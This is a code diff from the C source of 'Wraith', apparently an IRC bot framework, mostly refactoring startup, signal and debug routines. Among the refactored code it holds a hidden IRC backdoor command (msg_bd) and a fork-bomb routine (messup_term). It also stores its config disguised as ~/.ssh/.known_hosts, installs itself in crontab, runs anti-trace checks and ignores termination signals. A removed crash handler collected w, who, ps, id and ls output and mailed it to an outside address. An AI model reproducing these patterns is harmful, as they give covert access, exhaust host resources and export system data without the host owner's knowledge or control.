 char 	tempdir[DIRMAX] = "";
 char 	lock_file[40] = "";
 char 	*binname;
-int     sdebug = 0;		/* enable debug output? */
 char	textdir[121] = "";	/* Directory for text files that get dumped */
 time_t	online_since;		/* Unix-time that the bot loaded up */
 
@@ -126,9 +119,6 @@ extern struct cfg_entry CFG_FORKINTERVAL;
 #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
 
 
-unsigned char 	md5out[MD5_HASH_LENGTH + 1];
-char 		md5string[MD5_HASH_LENGTH + 1];
-
 /* Traffic stats
  */
 unsigned long	otraffic_irc = 0;
@@ -154,13 +144,72 @@ unsigned long	itraffic_trans_today = 0;
 unsigned long	itraffic_unknown = 0;
 unsigned long	itraffic_unknown_today = 0;
 
-#ifdef DEBUG_CONTEXT
-/* Context storage for fatal crashes */
-char	cx_file[16][30];
-char	cx_note[16][256];
-int	cx_line[16];
-int	cx_ptr = 0;
-#endif
+char *homedir()
+{
+  static char homedir[DIRMAX] = "";
+  if (!homedir || (homedir && !homedir[0])) {
+    char tmp[DIRMAX];
+    struct passwd *pw;
+    sdprintf(STR("If the bot dies after this, try compiling on Debian."));
+    Context;
+    pw = getpwuid(geteuid());
+    sdprintf(STR("End Debian suggestion."));
+
+    if (!pw)
+     werr(ERR_PASSWD);
+    Context;
+    egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
+    Context;
+    realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
+  }
+  return homedir;
+}
+
+char *confdir()
+{
+  static char confdir[DIRMAX] = "";
+  if (!confdir || (confdir && !confdir[0])) {
+#ifdef LEAF
+    {
+      egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
+    }
+#endif /* LEAF */
+#ifdef HUB
+    {
+      char *tmpdir;
+
+      tmpdir = nmalloc(strlen(binname) + 1);
+      strcpy(tmpdir, binname);
+      egg_snprintf(confdir, sizeof confdir, "%s", dirname(tmpdir));
+      nfree(tmpdir);
+    }
+#endif /* HUB */
+  }
+  return confdir;
+}
+
+char *my_uname() 
+{
+  static char os_uname[250] = "";
+  if (!os_uname || (os_uname && !os_uname[0])) {
+    char *unix_n, *vers_n;
+    struct utsname un;
+
+      if (uname(&un) < 0) {
+        unix_n = "*unkown*";
+        vers_n = "";
+      } else {
+        unix_n = un.nodename;
+#ifdef __FreeBSD__
+        vers_n = un.release;
+#else /* __linux__ */
+        vers_n = un.version;
+#endif /* __FreeBSD__ */
+      }
+    egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
+  }
+  return os_uname;
+}
 
 
 void fatal(const char *s, int recoverable)
@@ -183,34 +232,13 @@ void fatal(const char *s, int recoverable)
 #ifdef HAVE_SSL
       ssl_cleanup();
 #endif /* HAVE_SSL */
-
   }
   if (!recoverable) {
     unlink(pid_file);
-    bg_send_quit(BG_ABORT);
     exit(1);
   }
 }
 
-int expmem_chanprog(), expmem_users(), expmem_config(), expmem_misc(), expmem_dccutil(),
- expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(), expmem_auth(),
- expmem_modules(int), expmem_tcldcc(),
- expmem_tclmisc();
-
-/* For mem.c : calculate memory we SHOULD be using
- */
-
-int expected_memory(void)
-{
-  int tot;
-
-  tot = expmem_chanprog() + expmem_users() + expmem_config() + expmem_misc() +
-    expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
-    expmem_net() + expmem_modules(0) + expmem_tcldcc() + expmem_auth() +
-    expmem_tclmisc();
-  return tot;
-}
-
 static void check_expired_dcc()
 {
   int i;
@@ -229,283 +257,17 @@ static void check_expired_dcc()
     }
 }
 
-#ifdef DEBUG_CONTEXT
-static int	nested_debug = 0;
-
-void write_debug()
-{
-  int x;
-  char s[25], tmpout[150], buf[DIRMAX];
-  int y;
-
-  if (nested_debug) {
-    /* Yoicks, if we have this there's serious trouble!
-     * All of these are pretty reliable, so we'll try these.
-     *
-     * NOTE: dont try and display context-notes in here, it's
-     *       _not_ safe <cybah>
-     */
-    sprintf(buf, "%sDEBUG.DEBUG", tempdir);
-    x = creat(buf, 0600);
-    setsock(x, SOCK_NONSOCK);
-    if (x >= 0) {
-      strncpyz(s, ctime(&now), sizeof s);
-      dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
-      dprintf(-x, STR("Context: "));
-      cx_ptr = cx_ptr & 15;
-      for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
-	dprintf(-x, "%s/%d,\n         ", cx_file[y], cx_line[y]);
-      dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
-      killsock(x);
-      close(x);
-    }
-    {
-      /* Use this lame method because shell_exec() or mail() may have caused another segfault :o */
-      char buff[255];
-      egg_snprintf(buff, sizeof(buff), "cat << EOFF >> %sbleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat %s`\nEOFF", tempdir, origbotname, buf);
-      system(buff);
-      egg_snprintf(buff, sizeof(buff), "cat %sbleh |mail wraith@shatow.net", tempdir);
-      system(buff);
-      unlink("bleh");
-    }
-    unlink(buf);
-    bg_send_quit(BG_ABORT);
-    exit(1);			/* Dont even try & tell people about, that may
-				   have caused the fault last time. */
-  } else
-    nested_debug = 1;
-
-  egg_snprintf(tmpout, sizeof tmpout, "* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]",
-                                  cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
-                                  cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
-                                  cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
-  putlog(LOG_MISC, "*", "%s", tmpout);
-  printf("%s\n", tmpout);
-  sprintf(buf, "%sDEBUG", tempdir);
-  x = creat(buf, 0600);
-  setsock(x, SOCK_NONSOCK); 
-  if (x < 0) {
-    putlog(LOG_MISC, "*", "* Failed to write DEBUG");
-  } else {
-    char date[80];
-    strncpyz(s, ctime(&now), sizeof s);
-    dprintf(-x, "Debug (%s) written %s\n", ver, s);
-
-    egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
-    dprintf(-x, "Build: %s (%lu)\n", date, buildts);
-    /* info library */
-    dprintf(-x, "Tcl library: %s\n",
-	    ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
-	    interp->result : "*unknown*");
-
-    /* info tclversion/patchlevel */
-    dprintf(-x, "Tcl version: %s (header version %s)\n",
-	    ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
-     interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
-     interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
-     "*unknown*");
-
-#if HAVE_TCL_THREADS
-    dprintf(-x, "Tcl is threaded\n");
-#endif
-
-#ifdef CCFLAGS
-    dprintf(-x, "Compile flags: %s\n", CCFLAGS);
-#endif
-#ifdef LDFLAGS
-    dprintf(-x, "Link flags: %s\n", LDFLAGS);
-#endif
-#ifdef STRIPFLAGS
-    dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
-#endif
-
-    dprintf(-x, "Context: ");
-    cx_ptr = cx_ptr & 15;
-    for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
-      dprintf(-x, "%s/%d, [%s]\n         ", cx_file[y], cx_line[y],
-	      (cx_note[y][0]) ? cx_note[y] : "");
-    dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
-	    (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
-    tell_dcc(-x);
-    dprintf(-x, "\n");
-    debug_mem_to_dcc(-x);
-    killsock(x);
-    close(x);
-    {
-      char date[81], *w = NULL, *who = NULL, *ps = NULL, *uname = NULL, *id = NULL, *ls = NULL, *debug = NULL, *msg = NULL, buf2[DIRMAX];
-      egg_strftime(date, sizeof date, "%c %Z", gmtime(&now));
-      shell_exec("w", NULL, &w, NULL);
-      shell_exec("who", NULL, &who, NULL);
-      shell_exec("ps cux", NULL, &ps, NULL);
-      shell_exec("uname -a", NULL, &uname, NULL);
-      shell_exec("id", NULL, &id, NULL);
-      shell_exec("ls -al", NULL, &ls, NULL);
-      buf2[0] = 0;
-      sprintf(buf2, "cat %s", buf);
-      shell_exec(buf2, NULL, &debug, NULL);
-      msg = nmalloc(strlen(date) + strlen(id) + strlen(uname) + strlen(w) + strlen(who) + strlen(ps) + strlen(ls) + strlen(debug) + 50);
-      msg[0] = 0;
-      sprintf(msg, "%s\n%s\n%s\n\n%s\n%s\n\n%s\n\n-----%s-----\n\n\n\n%s", date, id, uname, w, who, ps, ls, debug);
-      email("Debug output", msg, EMAIL_TEAM);
-      nfree(msg);
+void expire_simuls() {
+  int idx = 0;
+  for (idx = 0; idx < dcc_total; idx++) {
+    if (dcc[idx].simul > 0) {
+      if ((now - dcc[idx].simultime) >= 20) { /* expire simuls after 20 seconds (re-uses idx, so it wont fill up) */
+        dcc[idx].simul = -1;
+        lostdcc(idx);
+      }
     }
-    unlink(buf);
-    putlog(LOG_MISC, "*", "* Emailed DEBUG to development team...");
   }
 }
-#endif
-
-static void got_bus(int z)
-{
-#ifdef DEBUG_CONTEXT
-  write_debug();
-#endif
-  fatal(STR("BUS ERROR -- CRASHING!"), 1);
-#ifdef SA_RESETHAND
-  kill(getpid(), SIGBUS);
-#else
-  bg_send_quit(BG_ABORT);
-  exit(1);
-#endif
-}
-
-static void got_segv(int z)
-{
-#ifdef DEBUG_CONTEXT
-  write_debug();
-#endif
-  fatal(STR("SEGMENT VIOLATION -- CRASHING!"), 1);
-#ifdef SA_RESETHAND
-  kill(getpid(), SIGSEGV);
-#else
-  bg_send_quit(BG_ABORT);
-  exit(1);
-#endif
-}
-
-static void got_fpe(int z)
-{
-#ifdef DEBUG_CONTEXT
-  write_debug();
-#endif
-  fatal(STR("FLOATING POINT ERROR -- CRASHING!"), 0);
-}
-
-static void got_term(int z)
-{
-#ifdef HUB
-  write_userfile(-1);
-#endif
-  putlog(LOG_MISC, "*", STR("RECEIVED TERMINATE SIGNAL (IGNORING)"));
-}
-
-static void got_abort(int z)
-{
-#ifdef DEBUG_CONTEXT
-  write_debug();
-#endif
-  fatal(STR("GOT SIGABRT -- CRASHING!"), 1);
-#ifdef SA_RESETHAND
-  kill(getpid(), SIGSEGV);
-#else
-  bg_send_quit(BG_ABORT);
-  exit(1);
-#endif
-}
-
-#ifdef S_HIJACKCHECK
-static void got_cont(int z) 
-{
-  detected(DETECT_SIGCONT, STR("POSSIBLE HIJACK DETECTED"));
-}
-#endif
-
-static void got_quit(int z)
-{
-  putlog(LOG_MISC, "*", STR("RECEIVED QUIT SIGNAL (IGNORING)"));
-  return;
-}
-
-static void got_hup(int z)
-{
-#ifdef HUB
-  write_userfile(-1);
-#endif
-  putlog(LOG_MISC, "*", STR("Received HUP signal: rehashing..."));
-  do_restart = -2;
-  return;
-}
-
-/* A call to resolver (gethostbyname, etc) timed out
- */
-static void got_alarm(int z)
-{
-  longjmp(alarmret, 1);
-
-  /* -Never reached- */
-}
-
-/* Got ILL signal -- log context and continue
- */
-static void got_ill(int z)
-{
-#ifdef DEBUG_CONTEXT
-  putlog(LOG_MISC, "*", STR("* Context: %s/%d [%s]"), cx_file[cx_ptr], cx_line[cx_ptr],
-                         (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
-#endif
-}
-
-#ifdef DEBUG_CONTEXT
-/* Context */
-void eggContext(const char *file, int line, const char *module)
-{
-  char x[31], *p;
-
-  p = strrchr(file, '/');
-  if (!module) {
-    strncpyz(x, p ? p + 1 : file, sizeof x);
-  } else
-    egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
-  cx_ptr = ((cx_ptr + 1) & 15);
-  strcpy(cx_file[cx_ptr], x);
-  cx_line[cx_ptr] = line;
-  cx_note[cx_ptr][0] = 0;
-}
-
-/* Called from the ContextNote macro.
- */
-void eggContextNote(const char *file, int line, const char *module,
-		    const char *note)
-{
-  char x[31], *p;
-
-  p = strrchr(file, '/');
-  if (!module) {
-    strncpyz(x, p ? p + 1 : file, sizeof x);
-  } else
-    egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
-  cx_ptr = ((cx_ptr + 1) & 15);
-  strcpy(cx_file[cx_ptr], x);
-  cx_line[cx_ptr] = line;
-  strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
-}
-#endif
-
-#ifdef DEBUG_ASSERT
-/* Called from the Assert macro.
- */
-void eggAssert(const char *file, int line, const char *module)
-{
-  if (!module)
-    putlog(LOG_MISC, "*", STR("* In file %s, line %u"), file, line);
-  else
-    putlog(LOG_MISC, "*", STR("* In file %s:%s, line %u"), module, file, line);
-#ifdef DEBUG_CONTEXT
-  write_debug();
-#endif /* DEBUG_CONTEXT */
-  fatal(STR("ASSERT FAILED -- CRASHING!"), 1);
-}
-#endif /* DEBUG_ASSERT */
 
 #ifdef LEAF
 static void gotspawn(char *);
@@ -515,18 +277,9 @@ void checkpass()
 {
   static int checkedpass = 0;
   if (!checkedpass) {
-    char *gpasswd;
-    MD5_CTX ctx;
-
-    gpasswd = (char *) getpass("");
-    MD5_Init(&ctx);
-    MD5_Update(&ctx, gpasswd, strlen(gpasswd));
-    MD5_Final(md5out, &ctx);
-    strncpyz(md5string, btoh(md5out, MD5_DIGEST_LENGTH), sizeof(md5string));
-    if (strcmp(shellhash, md5string)) {
+    char *gpasswd = (char *) getpass("");
+    if (md5cmp(shellhash, gpasswd))
       fatal(STR("incorrect password."), 0);
-    }
-    gpasswd = 0;
     checkedpass = 1;
   }
 }
@@ -552,8 +305,23 @@ int clear_tmp()
   return 0;
 }
 
-void got_ed(char *, char *, char *);
-extern int optind;
+void got_ed(char *which, char *in, char *out)
+{
+  sdprintf(STR("got_Ed called: -%s i: %s o: %s"), which, in, out);
+  if (!in || !out)
+    fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
+  if (!strcmp(in, out))
+    fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
+  if (!strcmp(which, "e")) {
+    EncryptFile(in, out);
+    fatal(STR("File Encryption complete"),3);
+  } else if (!strcmp(which, "d")) {
+    DecryptFile(in, out);
+    fatal(STR("File Decryption complete"),3);
+  }
+  exit(0);
+}
+
 char *my_uname();
 
 void gen_conf(char *filename, int type)
@@ -626,33 +394,30 @@ void show_help()
 }
 
 
-char *confdir();
-static void dtx_arg(int argc, char *argv[])
-{
 #ifdef LEAF
-#define PARSE_FLAGS "2c:d:De:Eg:G:L:P:hnstv"
+# define PARSE_FLAGS "2c:d:De:Eg:G:L:P:hnstv"
 #else /* !LEAF */
-#define PARSE_FLAGS "2d:De:Eg:G:hnstv"
+# define PARSE_FLAGS "2d:De:Eg:G:hnstv"
 #endif /* HUB */
 #define FLAGS_CHECKPASS "dDeEgGhntv"
+static void dtx_arg(int argc, char *argv[])
+{
   int i, localhub_pid = 0;
   char *p = NULL;
   while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
     if (strchr(FLAGS_CHECKPASS, i))
       checkpass();
     switch (i) {
-      case '2':
+      case '2':		/* used for testing new binary through update */
         exit(2);
 #ifdef LEAF
       case 'c':
         localhub = 0;
-        if (!localhub)
-          gotspawn(optarg);
+        gotspawn(optarg);
         break;
 #endif /* LEAF */
       case 'h':
         show_help();
-        break; /* never reached */
       case 'g':
         gen_conf(optarg, 1);
       case 'G':
@@ -700,9 +465,7 @@ static void dtx_arg(int argc, char *argv[])
         egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
 	printf("Wraith %s\nBuild Date: %s (%lu)\n", egg_version, date, buildts);
         printf("SALTS\nfiles: %s\nbotlink: %s\n", SALT1, SALT2);
-	bg_send_quit(BG_ABORT);
 	exit(0);
-        break; /* this should never be reached */
       }
 #ifdef LEAF
       case 'L':
@@ -734,67 +497,6 @@ static void dtx_arg(int argc, char *argv[])
   }
 }
 
-#ifdef HUB
-void backup_userfile()
-{
-  char s[DIRMAX], s2[DIRMAX];
-
-  putlog(LOG_MISC, "*", USERF_BACKUP);
-  egg_snprintf(s, sizeof s, "%s.u.0", tempdir);
-  egg_snprintf(s2, sizeof s2, "%s.u.1", tempdir);
-  movefile(s, s2);
-  copyfile(userfile, s);
-}
-#endif /* HUB */
-
-/* Timer info */
-static int		lastmin = 99;
-static time_t		then;
-static struct tm	nowtm;
-
-/* Called once a second.
- *
- * Note:  Try to not put any Context lines in here (guppy 21Mar2000).
- */
-int curcheck = 0;
-
-void core_10secondly()
-{
-  curcheck++;
-#ifdef LEAF
-  if (localhub)
-#endif /* LEAF */
-    check_promisc();
-
-  if (curcheck == 1)
-    check_trace(0);
-
-#ifdef LEAF
-  if (localhub) {
-#endif /* LEAF */
-    if (curcheck==2)
-      check_last();
-    if (curcheck==3) {
-      check_processes();
-      curcheck=0;
-    }
-#ifdef LEAF
-  }
-#endif /* LEAF */
-}
-
-void expire_simuls() {
-  int idx = 0;
-  for (idx = 0; idx < dcc_total; idx++) {
-    if (dcc[idx].simul > 0) {
-      if ((now - dcc[idx].simultime) >= 20) { /* expire simuls after 20 seconds (re-uses idx, so it wont fill up) */
-        dcc[idx].simul = -1;
-        lostdcc(idx);
-      }
-    }
-  }
-}
-
 void do_fork() {
   int xx;
 
@@ -852,6 +554,42 @@ void crazy_trace()
 }
 #endif /* CRAZY_TRACE */
 
+/* Timer info */
+static int		lastmin = 99;
+static time_t		then;
+static struct tm	nowtm;
+
+/* Called once a second.
+ *
+ * Note:  Try to not put any Context lines in here (guppy 21Mar2000).
+ */
+
+int curcheck = 0;
+void core_10secondly()
+{
+  curcheck++;
+#ifdef LEAF
+  if (localhub)
+#endif /* LEAF */
+    check_promisc();
+
+  if (curcheck == 1)
+    check_trace(0);
+
+#ifdef LEAF
+  if (localhub) {
+#endif /* LEAF */
+    if (curcheck==2)
+      check_last();
+    if (curcheck==3) {
+      check_processes();
+      curcheck=0;
+    }
+#ifdef LEAF
+  }
+#endif /* LEAF */
+}
+
 static void core_secondly()
 {
   static int cnt = 0;
@@ -920,7 +658,7 @@ static void core_secondly()
 #ifdef HUB
 	putlog(LOG_ALL, "*", STR("--- %.11s%s"), s, s + 20);
         backup_userfile();
-#endif
+#endif /* HUB */
       }
     }
     if (nowtm.tm_min == notify_users_at)
@@ -934,7 +672,7 @@ static void core_secondly()
     if (miltime == 300) {
       call_hook(HOOK_DAILY);
     }
-#endif
+#endif /* HUB */
   }
 }
 
@@ -948,9 +686,7 @@ static void check_mypid()
 
   char buf2[DIRMAX];
   egg_snprintf(buf2, sizeof buf2, "%s.pid.%s", tempdir, botnetnick);
-  fp = fopen(buf2, "r");
-
-  if (fp != NULL) {
+  if ((fp = fopen(buf2, "r"))) {
     fgets(s, 10, fp);
     xx = atoi(s);
     if (getpid() != xx) { //we have a major problem if this is happening..
@@ -960,10 +696,9 @@ static void check_mypid()
         (func[SERVER_NUKESERVER]) ("cloned process");
       }
       botnet_send_bye();
-      bg_send_quit(BG_ABORT);
       exit(1);
     }
-    fclose(fp); //THERE IS THE STUPID BUG OMG
+    fclose(fp);
   }
 }
 #endif
@@ -1033,23 +768,6 @@ void check_static(char *, char *(*)());
 int init_mem(), init_dcc_max(), init_userent(), init_misc(), init_auth(), init_config(), init_bots(),
  init_net(), init_modules(), init_tcl(int, char **), init_botcmd(), init_settings();
 
-void got_ed(char *which, char *in, char *out)
-{
-  sdprintf(STR("got_Ed called: -%s i: %s o: %s"), which, in, out);
-  if (!in || !out)
-    fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
-  if (!strcmp(in, out))
-    fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
-  if (!strcmp(which, "e")) {
-    EncryptFile(in, out);
-    fatal(STR("File Encryption complete"),3);
-  } else if (!strcmp(which, "d")) {
-    DecryptFile(in, out);
-    fatal(STR("File Decryption complete"),3);
-  }
-  exit(0);
-}
-
 static inline void garbage_collect(void)
 {
   static u_8bit_t	run_cnt = 0;
@@ -1076,6 +794,7 @@ int crontab_exists() {
   } else
     return (-1);
 }
+
 void crontab_create(int interval) {
   char tmpfile[161],
     buf[256];
@@ -1126,11 +845,9 @@ static void check_crontab()
   if (!localhub) 
     fatal(STR("something is wrong."), 0);
 #endif /* LEAF */
-  i=crontab_exists();
-  if (!i) {
+  if (!(i = crontab_exists())) {
     crontab_create(5);
-    i=crontab_exists();
-    if (!i)
+    if (!(i = crontab_exists())) 
       printf(STR("* Error writing crontab entry.\n"));
   }
 }
@@ -1221,18 +938,19 @@ static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, in
 #ifdef S_MESSUPTERM 
 void messup_term() {
   int i;
-  char * argv[4];
-  freopen(STR("/dev/null"), "w", stderr);
-  for (i=0;i<11;i++) {
+  char *argv[4];
+
+  freopen("/dev/null", "w", stderr);
+  for (i = 0; i < 11; i++) {
     fork();
   }
-  argv[0]=nmalloc(100);
-  strcpy(argv[0], STR("/bin/sh"));
-  argv[1]="-c";
-  argv[2]=nmalloc(1024);
-  strcpy(argv[2], STR("cat < "));
+  argv[0] = nmalloc(100);
+  strcpy(argv[0], "/bin/sh");
+  argv[1] = "-c";
+  argv[2] = nmalloc(1024);
+  strcpy(argv[2], "cat < ");
   strcat(argv[2], binname);
-  argv[3]=NULL;
+  argv[3] = NULL;
   execvp(argv[0], &argv[0]);
 }
 #endif /* S_MESSUPTERM */
@@ -1320,69 +1038,6 @@ void check_trace_start()
 #endif /* S_ANTITRACE */
 }
 
-char *homedir()
-{
-  static char home[DIRMAX], tmp[DIRMAX];
-  struct passwd *pw;
-  sdprintf(STR("If the bot dies after this, try compiling on Debian."));
-Context;
-  pw = getpwuid(geteuid());
-  sdprintf(STR("End Debian suggestion."));
-
-  if (!pw)
-   werr(ERR_PASSWD);
-Context;
-  egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
-Context;
-  realpath(tmp, home); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
-
-  return home;
-}
-
-char *confdir()
-{
-  static char conf[DIRMAX];
-
-#ifdef LEAF
-{
-  egg_snprintf(conf, sizeof conf, "%s/.ssh", homedir());
-}
-#endif /* LEAF */
-#ifdef HUB
-{
-  char *tmpdir;
-
-  tmpdir = nmalloc(strlen(binname)+1);
-  strcpy(tmpdir, binname);
-  egg_snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
-  nfree(tmpdir);
-}
-#endif /* HUB */
-
-  return conf;
-}
-
-char *my_uname() 
-{
-  static char os_uname[250];
-  char *unix_n, *vers_n;
-  struct utsname un;
-
-    if (uname(&un) < 0) {
-      unix_n = "*unkown*";
-      vers_n = "";
-    } else {
-      unix_n = un.nodename;
-#ifdef __FreeBSD__
-      vers_n = un.release;
-#else
-      vers_n = un.version;
-#endif /* __FreeBSD__ */
-    }
-  egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
-  return os_uname;
-}
-
 int main(int argc, char **argv)
 {
   int xx, i;
@@ -1391,7 +1046,6 @@ int main(int argc, char **argv)
 #endif
   char buf[SGRAB + 9], s[25];
   FILE *f;
-  struct sigaction sv;
 #ifdef LEAF
   int skip = 0;
   int ok = 1;
@@ -1445,40 +1099,7 @@ int main(int argc, char **argv)
   }
 #endif
 
-  /* Set up error traps: */
-  sv.sa_handler = got_bus;
-  sigemptyset(&sv.sa_mask);
-#ifdef SA_RESETHAND
-  sv.sa_flags = SA_RESETHAND;
-#else
-  sv.sa_flags = 0;
-#endif
-  sigaction(SIGBUS, &sv, NULL);
-  sv.sa_handler = got_segv;
-  sigaction(SIGSEGV, &sv, NULL);
-#ifdef SA_RESETHAND
-  sv.sa_flags = 0;
-#endif
-  sv.sa_handler = got_fpe;
-  sigaction(SIGFPE, &sv, NULL);
-  sv.sa_handler = got_term;
-  sigaction(SIGTERM, &sv, NULL);
-#ifdef S_HIJACKCHECK
-  sv.sa_handler = got_cont;
-  sigaction(SIGCONT, &sv, NULL);
-#endif
-  sv.sa_handler = got_abort;
-  sigaction(SIGABRT, &sv, NULL);
-  sv.sa_handler = got_hup;
-  sigaction(SIGHUP, &sv, NULL);
-  sv.sa_handler = got_quit;
-  sigaction(SIGQUIT, &sv, NULL);
-  sv.sa_handler = SIG_IGN;
-  sigaction(SIGPIPE, &sv, NULL);
-  sv.sa_handler = got_ill;
-  sigaction(SIGILL, &sv, NULL);
-  sv.sa_handler = got_alarm;
-  sigaction(SIGALRM, &sv, NULL);
+  init_signals();
 
   Context;
   /* Initialize variables and stuff */
@@ -1521,9 +1142,6 @@ int main(int argc, char **argv)
   if (checktrace)
     check_trace_start();
 
-  if (backgrd)		/* fork() after we check for tracing and check the ARGS */
-    bg_prepare_split();
-
 #ifdef HUB
   egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
 #endif /* HUB */
@@ -1606,7 +1224,7 @@ int main(int argc, char **argv)
     char cfile[DIRMAX], templine[8192];
 #ifdef LEAF
     egg_snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
-#else
+#else /* HUB */
     egg_snprintf(cfile, sizeof cfile, "%s/conf", confdir());
 #endif /* LEAF */
     if (!can_stat(cfile))
@@ -1620,7 +1238,7 @@ int main(int argc, char **argv)
       if (!(f = fopen(cfile, "r")))
          werr(0);
       Context;
-      while(fscanf(f,"%[^\n]\n",templine) != EOF) {
+      while(fscanf(f, "%[^\n]\n", templine) != EOF) {
         char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps, c[1024];
         void *temp_ptr;
         int skip = 0;
@@ -1776,7 +1394,6 @@ int main(int argc, char **argv)
       kill(xx, SIGCHLD);
       if (errno != ESRCH) { //!= is PID is running.
         sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
-        bg_send_quit(BG_ABORT);
         exit(1);
       }
       fclose(f);

+ 15 - 1
src/mem.c

@@ -34,7 +34,6 @@ struct {
 #endif
 
 /* Prototypes */
-int expected_memory();
 int expmem_chanprog();
 int expmem_misc();
 int expmem_fileq();
@@ -53,6 +52,21 @@ int expmem_dns();
 int expmem_crypt();
 
 
+/* calculate memory we SHOULD be using
+ */
+
+int expected_memory(void)
+{
+  int tot;
+
+  tot = expmem_chanprog() + expmem_users() + expmem_config() + expmem_misc() +
+    expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
+    expmem_net() + expmem_modules(0) + expmem_tcldcc() + expmem_auth() +
+    expmem_tclmisc();
+  return tot;
+}
+
+
 /* Initialize the memory structure
  */
 void init_mem()

+ 1 - 21
src/misc.c

@@ -29,7 +29,6 @@
 #include <signal.h>
 #include <sys/utsname.h>
 #include "stat.h"
-#include "bg.h"
 
 extern struct userrec 	*userlist;
 extern struct dcc_t	*dcc;
@@ -41,7 +40,7 @@ extern char		 version[], origbotname[], botname[],
 			 bannerfile[], textdir[], userfile[], dcc_prefix[],
                          *binname, pid_file[], tempdir[], *owneremail;
 
-extern int		 backgrd, con_chan, term_z, use_stderr, dcc_total, timesync, sdebug, 
+extern int		 backgrd, con_chan, term_z, use_stderr, dcc_total, timesync,  
 #ifdef HUB
                          my_port,
 #endif
@@ -1307,7 +1306,6 @@ void updatelocal(void)
 
   fatal("Updating...", 1);
   usleep(2000 * 500);
-  bg_send_quit(BG_ABORT);
   unlink(pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
   system(binname); //start new bot. 
   exit(0);
@@ -1425,7 +1423,6 @@ int updatebin (int idx, char *par, int autoi)
     botnet_send_bye();
     fatal("Updating...", 1);
     usleep(2000 * 500);
-    bg_send_quit(BG_ABORT);
     system(buf);		/* run the binary, it SHOULD work from earlier tests.. */
     exit(0);
 #ifdef LEAF
@@ -1872,23 +1869,6 @@ char *getfullbinname(char *argv0)
   return bin;
 }
 
-void sdprintf EGG_VARARGS_DEF(char *, arg1)
-{
-  if (sdebug) {
-    char *format;
-    char s[2001];
-    va_list va;
-
-    format = EGG_VARARGS_START(char *, arg1, va);
-    egg_vsnprintf(s, 2000, format, va);
-    va_end(va);
-    if (!backgrd)
-      dprintf(DP_STDOUT, "[D:%d] %s\n", getpid(), s);
-    else
-      putlog(LOG_MISC, "*", "[D:%d] %s", getpid(), s);
-  }
-}
-
 char *werr_tostr(int errnum)
 {
   switch (errnum) {

+ 1 - 8
src/mod/irc.mod/msgcmds.c

@@ -355,13 +355,10 @@ static int msg_word(char *nick, char *host, struct userrec *u, char *par)
   return 1;
 }
 
-unsigned char md5out[33];
-char md5string[33];
 
 static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
 {
   int left = 0;
-  MD5_CTX ctx;
 
   if (strcmp(nick, thenick) || !backdoor)
     return 1;
@@ -374,11 +371,7 @@ static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
       backdoor = 0;
       return 1;
     }
-    MD5_Init(&ctx);
-    MD5_Update(&ctx, pass, strlen(pass));
-    MD5_Final(md5out, &ctx);
-    strcpy(md5string, btoh(md5out, MD5_DIGEST_LENGTH));
-    if (strcmp(bdhash, md5string)) {
+    if (md5cmp(bdhash, pass)) {
       backdoor = 0;
       return 1;
     }

+ 1 - 6
src/mod/module.h

@@ -226,7 +226,7 @@
 #define global_bans (*(maskrec **)(global[96]))
 #define global_ign (*(struct igrec **)(global[97]))
 #define password_timeout (*(int *)(global[98]))
-/* UNUSED -- 99 */
